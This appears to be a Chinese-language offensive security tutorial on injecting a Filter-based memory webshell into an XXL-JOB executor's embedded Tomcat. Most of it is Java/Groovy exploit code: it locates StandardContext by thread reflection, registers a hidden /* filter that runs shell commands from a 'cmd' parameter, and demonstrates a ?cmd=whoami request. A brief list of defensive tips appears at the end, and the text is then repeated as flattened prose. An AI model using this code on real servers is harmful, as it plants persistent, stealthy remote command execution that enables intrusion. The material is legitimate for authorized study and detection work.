xxl-job-executor注入filter内存马
字数 1713 2025-08-18 11:36:48

XXL-JOB Executor Filter内存马注入技术分析

一、背景与适用场景

XXL-JOB是一个分布式任务调度平台,分为管理端(xxl-job-admin)和执行端(xxl-job-executor)。传统的内存马注入技术要求管理端和执行端处于同一台主机上,本文介绍了一种针对端点分离情况的Filter内存马注入技术。

适用场景

  • 目标环境不出网
  • xxl-job-admin和xxl-job-executor不在同一台主机
  • 测试环境为xxl-job-2.3.0(tomcat9),其他版本未测试

二、技术原理分析

1. XXL-JOB端口配置

application.properties中有两个关键端口配置:

# web端口
server.port=8081
# xxl-job executor服务端口
xxl.job.executor.port=9999
  • executor.port(9999)后端是Netty服务
  • server.port(8081)是Tomcat服务,虽然返回whitelable error page,但仍可用于注入Filter内存马

2. 技术难点

  1. StandardContext获取问题

    • embedded-tomcat无法使用通用payload获取StandardContext
    • 需要自行构造exp获取StandardContext
  2. Java-object-searcher工具修改

    • 原工具存在表达式执行问题,需修改构造函数
    • 修改后的构造函数:
      public SearchRequstByBFS(Object target){
          this.target = target;
          q.offer(new NodeT.Builder().setChain("").setField_name("TargetObject").setField_object(target).build());
      }
      
    • 添加addKey()方法:
      public void addKey(Keyword keyword){
          this.keys.add(keyword);
      }
      

三、详细实现步骤

1. 搜索Request对象

使用修改后的java-object-searcher搜索Request对象:

// 定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());

// 新建搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread());

// 设置搜索类型
searcher.addKey(new Keyword.Builder().setField_type("ServletRequest").build());
searcher.addKey(new Keyword.Builder().setField_type("RequestGroup").build());
searcher.addKey(new Keyword.Builder().setField_type("RequestInfo").build());
searcher.addKey(new Keyword.Builder().setField_type("RequestGroupInfo").build());
searcher.addKey(new Keyword.Builder().setField_type("Request").build());

// 设置搜索参数
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("D:\\temp");
searcher.searchObject();

2. 获取StandardContext

通过线程分析获取TomcatEmbeddedContext(StandardContext):

  1. 获取当前线程组
  2. 遍历线程组中的所有线程
  3. 查找包含"container"或"http-nio-"的线程
  4. 从线程中获取Tomcat容器相关对象

3. 构造Filter内存马

完整EXP代码结构:

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
// 其他必要的import

public class DemoGlueJobHandler extends IJobHandler {
    // 辅助方法:获取字段值
    public Object getField(Object obj, String fieldName){...}
    
    // 辅助方法:获取父类字段值
    public Object getSuperClassField(Object obj, String fieldName){...}
    
    public void execute() throws Exception {
        // 1. 创建filter
        Filter filter = new Filter() {
            public void init(FilterConfig filterConfig) throws ServletException {}
            
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
                               FilterChain filterChain) throws IOException, ServletException {
                // 命令执行逻辑
                if (req.getParameter("cmd") != null) {
                    // 处理命令执行和回显
                    // ...
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
            
            public void destroy() {}
        };
        
        String filterName = "xxl-job-filter";
        
        // 2. 创建FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        
        // 3. 创建FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        
        // 4. 准备ApplicationFilterConfig构造函数
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(
            Context.class, FilterDef.class);
        constructor.setAccessible(true);
        
        // 5. 获取StandardContext
        // ... (线程分析代码)
        
        // 6. 注入Filter
        StandardContext standardContext = (StandardContext) children.get("");
        standardContext.addFilterDef(filterDef);
        
        Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) 
            constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(filterName, filterConfig);
        
        standardContext.addFilterMapBefore(filterMap);
        XxlJobHelper.log("success! memshell port:"+port);
    }
}

4. 关键实现细节

  1. 命令执行处理

    • 由于XXL-JOB中的Groovy不支持new String[]{"cmd.exe", "/c", cmd}语法,改用ArrayList方式:
      ArrayList<String> cmdList = new ArrayList<>();
      String osTyp = System.getProperty("os.name");
      if (osTyp != null && osTyp.toLowerCase().contains("win")) {
          cmdList.add("cmd.exe");
          cmdList.add("/c");
      } else {
          cmdList.add("/bin/bash");
          cmdList.add("-c");
      }
      cmdList.add(req.getParameter("cmd"));
      String[] cmds = cmdList.toArray(new String[0]);
      
  2. 线程分析获取StandardContext

    • 查找名称包含"container"的线程获取Tomcat容器
    • 查找名称包含"http-nio-"的线程获取web端口
    • 通过反射获取Tomcat内部对象链:this$0tomcatserverservicesenginechildren
  3. Filter注入

    • 创建FilterDef并设置filter实例
    • 创建FilterMap并设置URL模式
    • 通过反射创建ApplicationFilterConfig
    • 将Filter添加到StandardContext的filterConfigs中
    • 使用addFilterMapBefore确保Filter优先执行

四、验证与使用

  1. 注入成功后,日志会输出executor的web端口
  2. 访问注入的端口(默认8081),添加cmd参数执行命令
    http://target:8081/?cmd=whoami
    

五、注意事项

  1. Groovy语法限制

    • 不支持内部类写法,字符串中的this$0需要转义
    • 不支持new Class[]{String.class, int.class}语法,需使用ArrayList替代
  2. 环境差异

    • 默认假设StandardContext路径为localhost""
    • 不同环境可能需要调整children的key
  3. 端口访问

    • 需要先访问8081端口激活RequestInfo
    • 虽然该端口返回whitelable error page,但不影响内存马功能

六、防御建议

  1. 限制XXL-JOB执行端的代码执行权限
  2. 监控不常见的Filter添加行为
  3. 定期检查Tomcat的Filter配置
  4. 更新XXL-JOB到最新版本,关注安全公告

本技术提供了一种在XXL-JOB执行端注入Filter内存马的方法,适用于管理端和执行端分离的场景,通过Tomcat的8081端口实现命令执行功能。

XXL-JOB Executor Filter内存马注入技术分析 一、背景与适用场景 XXL-JOB是一个分布式任务调度平台,分为管理端(xxl-job-admin)和执行端(xxl-job-executor)。传统的内存马注入技术要求管理端和执行端处于同一台主机上,本文介绍了一种针对端点分离情况的Filter内存马注入技术。 适用场景 : 目标环境不出网 xxl-job-admin和xxl-job-executor不在同一台主机 测试环境为xxl-job-2.3.0(tomcat9),其他版本未测试 二、技术原理分析 1. XXL-JOB端口配置 在 application.properties 中有两个关键端口配置: executor.port (9999)后端是Netty服务 server.port (8081)是Tomcat服务,虽然返回whitelable error page,但仍可用于注入Filter内存马 2. 技术难点 StandardContext获取问题 : embedded-tomcat无法使用通用payload获取StandardContext 需要自行构造exp获取StandardContext Java-object-searcher工具修改 : 原工具存在表达式执行问题,需修改构造函数 修改后的构造函数: 添加 addKey() 方法: 三、详细实现步骤 1. 搜索Request对象 使用修改后的java-object-searcher搜索Request对象: 2. 获取StandardContext 通过线程分析获取TomcatEmbeddedContext(StandardContext): 获取当前线程组 遍历线程组中的所有线程 查找包含"container"或"http-nio-"的线程 从线程中获取Tomcat容器相关对象 3. 构造Filter内存马 完整EXP代码结构: 4. 关键实现细节 命令执行处理 : 由于XXL-JOB中的Groovy不支持 new String[]{"cmd.exe", "/c", cmd} 语法,改用ArrayList方式: 线程分析获取StandardContext : 查找名称包含"container"的线程获取Tomcat容器 查找名称包含"http-nio-"的线程获取web端口 通过反射获取Tomcat内部对象链: this$0 → tomcat → server → services → engine → children Filter注入 : 创建FilterDef并设置filter实例 创建FilterMap并设置URL模式 通过反射创建ApplicationFilterConfig 将Filter添加到StandardContext的filterConfigs中 使用 addFilterMapBefore 确保Filter优先执行 四、验证与使用 注入成功后,日志会输出executor的web端口 访问注入的端口(默认8081),添加cmd参数执行命令 五、注意事项 Groovy语法限制 : 不支持内部类写法,字符串中的 this$0 需要转义 不支持 new Class[]{String.class, int.class} 语法,需使用ArrayList替代 环境差异 : 默认假设StandardContext路径为 localhost → "" 不同环境可能需要调整children的key 端口访问 : 需要先访问8081端口激活RequestInfo 虽然该端口返回whitelable error page,但不影响内存马功能 六、防御建议 限制XXL-JOB执行端的代码执行权限 监控不常见的Filter添加行为 定期检查Tomcat的Filter配置 更新XXL-JOB到最新版本,关注安全公告 本技术提供了一种在XXL-JOB执行端注入Filter内存马的方法,适用于管理端和执行端分离的场景,通过Tomcat的8081端口实现命令执行功能。